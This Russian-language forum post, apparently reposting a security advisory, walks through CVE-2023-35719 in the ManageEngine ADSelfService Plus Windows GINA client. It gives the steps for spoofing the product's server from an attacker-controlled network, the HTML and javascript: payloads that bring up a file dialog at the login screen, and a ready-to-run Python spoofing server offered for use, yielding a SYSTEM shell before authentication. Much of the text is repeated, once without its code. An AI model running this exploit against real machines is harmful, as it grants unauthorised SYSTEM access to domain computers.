ManageEngine ADSelfService Plus предоставляет интегрированное решение для самостоятельного управления паролями и единого входа. Данное решение помогает пользователям домена выполнять самостоятельный сброс пароля, самостоятельное разблокирование учетной записи, самостоятельное обновление личных данных сотрудника (например, номера мобильного телефона и фотографий) в Microsoft Windows Active Directory.
ADSelfService Plus устанавливает локальный агент (надстройка для Windows GINA) на управляемых компьютерах домена Windows, который можно использовать для сброса паролей пользователей Active Directory непосредственно с экрана входа.
Данная уязвимость позволяет атакующему получить командную оболочку c привилегиям SYSTEM дедовским методом кликнув на
Browse -> C:\Windows\System32\cmd.exe на этапе предаутентификации.
Похожая уязвимость была обнаружена Bhadresh Patel в 2020 году и исправлена в версии 6.0 сборка 6003.
Подтверждено, что данная уязвимость работает вплоть до версии ADSelfService Plus
Экран входа Windows:
Изображение №1: Экран входа Windows с установленной GINA
Если мы щелкнем на любой из опций в красных рамках выше, мы получим следующий экран, который позволяет сбросить пароль пользователя домена:
Изображение №2: Сброс пароля пользователя через GINA
Очевидно, что это работает во встроенном окне браузера. Что произойдет, если мы отключим сеть и GINA не сможет достичь сервера ADSelfService Plus?
Изображение №3: Невозможность достижения контроллера домена adselfpwnplus.com
Что произойдет, если мы нажмем "Искать этот сайт в Bing"?
Изображение №4: Отказ в доступе к внешнему URL
Можно вспомнить золотые техники дедов и попытаться проэкслуатировать простой вектор атаки: перейти в Bing, попытаться найти диалоговое окно для открытия файла и просто запустить cmd.exe от имени SYSTEM!
К сожалению, так просто не получится. Появляется всплывающее окно с надписью "External URL access is denied.", и окно закрывается. Ни одна из комбинаций клавиш Internet Explorer не работает, поэтому мы не можем открыть диалоговые окна, использовать сочетания клавиш + CTRL, нажимать клавиши F, "Просмотреть исходный код" и т. д.
Но заметьте, что нашей устройство пытается установить связь с сервером
Подключим компьютер к другой сети, которую мы контролируем, вне обычной сети домена. Здесь есть много вариантов, мы можем подключить Ethernet-кабель или просто выбрать подконтрольную нам сеть Wi-Fi на экране входа. На сетевое подключение (по умолчанию) нет ограничений на экране предаутентификации входа Windows.
Подключившись к сети, которую мы контролируем, мы можем подменить сервер
Когда GINA пытается получить доступ к хосту adselfpwnplus.com, она отправляет следующий GET запрос:
Давайте предоставим AgentStatusUpdate.cc на нашем поддельном сервере и отправим:
Работает!
Изображение № 5: мы отобразили наш HTML-код
Изображение №6: Диалоговые окна файлов удаляются
Похоже, что что-то удалило наше диалоговое окно файла, осталась только строка hello. И это происходит практически с любой техникой, которую можно придумать:
Отображаемый HTML, отображаемому во встроенном окне браузера GINA, имеет какой-то черный список тегов или удаляет потенциально рисковый пользовательский ввод. Но была обнаружена годная статья "Give me a browser, I'll give you a Shell" от Rend, в которой говорится:
(!) Если инструменты разработчика отключены по какой-либо причине, вы можете использовать один интересный протокол: javascript. Если браузер основан на Chromium, вы можете ввести это в строке URL и получить желаемый результат:
Давайте обновим наш HTML-код:
Поскольку встроенный браузер - это Microsoft Edge (браузер по умолчанию в Windows 10), основанный на Chromium, мы получаем ссылку, на которую можно нажать (ПРИМЕЧАНИЕ: автор попробовал это в Windows 7 с Internet Explorer 11, и это тоже сработало!):
Изображение №7: Наша заманчивая надпись.
Мы нажимаем на нее и, НАКОНЕЦ, у нас появляется наше диалоговое окно файла!
Изображение №8: Диалоговое окно октрытия файла, которое мы так хотели!
Теперь эксплуатация тривиальна: просто перейдите в
Изображение №9: Кликаем на cmd.exe
Щелкните правой кнопкой мыши, нажмите "Открыть" и вот GINA дает нам оболочку SYSTEM перед аутентификацией!
Изображение №10: GINA, открывает нам CMD.EXE с привилегиями SYSTEM.
К слову, более старые версии ADSelfService Plus НЕ блокируют поиск в Bing и не блокируют диалоговые окна HTML-файлов, предоставляя нам еще два способа получить нашу оболочку. Это подтверждено работой хотя бы на версии v4.2.9.
Выводы авторов:
Крутейший видеоролик с демонстрацией эксплуатации уязвимости.
Не сомневаюсь, что ты в силах написать свой код для эксплуатации, но если вдруг сегодня не день Бэкхема, держи код на python
автор источник t.me/ad_pohueque
ADSelfService Plus устанавливает локальный агент (надстройка для Windows GINA) на управляемых компьютерах домена Windows, который можно использовать для сброса паролей пользователей Active Directory непосредственно с экрана входа.
GINA
Библиотека динамической компоновки (DLL) графической идентификации и проверки подлинности. GINA — это заменяемый компонент DLL, который загружается исполняемым файлом Winlogon . GINA реализует политику проверки подлинности интерактивной модели входа и, как ожидается, будет выполнять все идентификации и проверки подлинности взаимодействия с пользователем.Данная уязвимость позволяет атакующему получить командную оболочку c привилегиям SYSTEM дедовским методом кликнув на
Browse -> C:\Windows\System32\cmd.exe на этапе предаутентификации.

Похожая уязвимость была обнаружена Bhadresh Patel в 2020 году и исправлена в версии 6.0 сборка 6003.
Подтверждено, что данная уязвимость работает вплоть до версии ADSelfService Plus
4.2.9, 2012 года выпуска, и вплоть до последней версии 6.3 Build 6301 на момент написания статьи (2023-06-23).Экран входа Windows:
Изображение №1: Экран входа Windows с установленной GINA
Если мы щелкнем на любой из опций в красных рамках выше, мы получим следующий экран, который позволяет сбросить пароль пользователя домена:
Изображение №2: Сброс пароля пользователя через GINA
Очевидно, что это работает во встроенном окне браузера. Что произойдет, если мы отключим сеть и GINA не сможет достичь сервера ADSelfService Plus?
Изображение №3: Невозможность достижения контроллера домена adselfpwnplus.com
Что произойдет, если мы нажмем "Искать этот сайт в Bing"?
Изображение №4: Отказ в доступе к внешнему URL
Можно вспомнить золотые техники дедов и попытаться проэкслуатировать простой вектор атаки: перейти в Bing, попытаться найти диалоговое окно для открытия файла и просто запустить cmd.exe от имени SYSTEM!
К сожалению, так просто не получится. Появляется всплывающее окно с надписью "External URL access is denied.", и окно закрывается. Ни одна из комбинаций клавиш Internet Explorer не работает, поэтому мы не можем открыть диалоговые окна, использовать сочетания клавиш + CTRL, нажимать клавиши F, "Просмотреть исходный код" и т. д.
Но заметьте, что нашей устройство пытается установить связь с сервером
adselfservicepwn.com на порту 8888.Подключим компьютер к другой сети, которую мы контролируем, вне обычной сети домена. Здесь есть много вариантов, мы можем подключить Ethernet-кабель или просто выбрать подконтрольную нам сеть Wi-Fi на экране входа. На сетевое подключение (по умолчанию) нет ограничений на экране предаутентификации входа Windows.
Подключившись к сети, которую мы контролируем, мы можем подменить сервер
adselfpwnplus.com и снова вызвать экран сброса пароля.Когда GINA пытается получить доступ к хосту adselfpwnplus.com, она отправляет следующий GET запрос:
Код:
GET /AgentStatusUpdate.cc?status=adssp_admin_gina_install_success&machineName=<MACHINE_NAME> &domainName=<DOMAIN_NAME>&version=5.9&defUser=ADSELFPWNPLUS\normaluser& HTTP/1.1
Код:
<html><body><b>HELLO GINA!
Изображение № 5: мы отобразили наш HTML-код
Изображение №6: Диалоговые окна файлов удаляются
Похоже, что что-то удалило наше диалоговое окно файла, осталась только строка hello. И это происходит практически с любой техникой, которую можно придумать:
Код:
<a href="C:\windows\" /a>Директорию Windows не открыть</a>
<script>document.write('<input/type=file>')</script>
<input type="file" id="myfile" name="myfile">
<a href="mailto:me@mail.com">Это не работает</a>
<a href="file:///c:\">тем более не работает</a>
(!) Если инструменты разработчика отключены по какой-либо причине, вы можете использовать один интересный протокол: javascript. Если браузер основан на Chromium, вы можете ввести это в строке URL и получить желаемый результат:
Код:
javascript:document.write('<input/type=file>')
Код:
<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>
Изображение №7: Наша заманчивая надпись.
Мы нажимаем на нее и, НАКОНЕЦ, у нас появляется наше диалоговое окно файла!
Изображение №8: Диалоговое окно октрытия файла, которое мы так хотели!
Теперь эксплуатация тривиальна: просто перейдите в
C:\Windows\System32 и найдите cmd.exe:
Изображение №9: Кликаем на cmd.exe
Щелкните правой кнопкой мыши, нажмите "Открыть" и вот GINA дает нам оболочку SYSTEM перед аутентификацией!
Изображение №10: GINA, открывает нам CMD.EXE с привилегиями SYSTEM.
К слову, более старые версии ADSelfService Plus НЕ блокируют поиск в Bing и не блокируют диалоговые окна HTML-файлов, предоставляя нам еще два способа получить нашу оболочку. Это подтверждено работой хотя бы на версии v4.2.9.
Выводы авторов:
- Черные списки не работают.
- Очень сложно обезопасить встроенные браузеры в операционной системе Windows.
- ManageEngine (разработчики ADSelfService Plus) - это куча говна, которая постоянно взламывается как минимум с 2014 года.
- За годы несколько других исследователей также обнаружили критические уязвимости в продуктах ManageEngine.
Не сомневаюсь, что ты в силах написать свой код для эксплуатации, но если вдруг сегодня не день Бэкхема, держи код на python
Код:
#!/usr/bin/env python3
#
# Python HTTP server for exploiting CVE-2023-35719 / ZDI-23-891
# Auth Bypass to SYSTEM shell in ManageEngine ADSelfService Plus Windows GINA Client
# https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/adselfpwnplus/adselfpwnplus.md
#
# By:
#
# Pedro Ribeiro (pedrib@gmail.com|@pedrib1337)
# João Bigotte
# Ashley King
#
# Agile Information Security (https://agileinfosec.co.uk)
from http.server import BaseHTTPRequestHandler, HTTPServer
# HTTPRequestHandler class
class CustomRequestHandler(BaseHTTPRequestHandler):
# GET
def do_GET(self):
# Send response status code
self.send_response(200)
# Send headers
self.send_header('Content-type','text/html')
self.end_headers()
# Send message back to client
message = "<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>"
# Write content as utf-8 data
self.wfile.write(bytes(message, "utf8"))
print("done")
return
def run():
print('starting server...')
# enter your listening address and port here for the ADSelfService Plus server spoof
# do not forget to add a dns entry for your domain name to point to this IP
server_address = ('13.33.37.1', 8888)
httpd = HTTPServer(server_address, CustomRequestHandler)
print('running server...')
httpd.serve_forever()
run()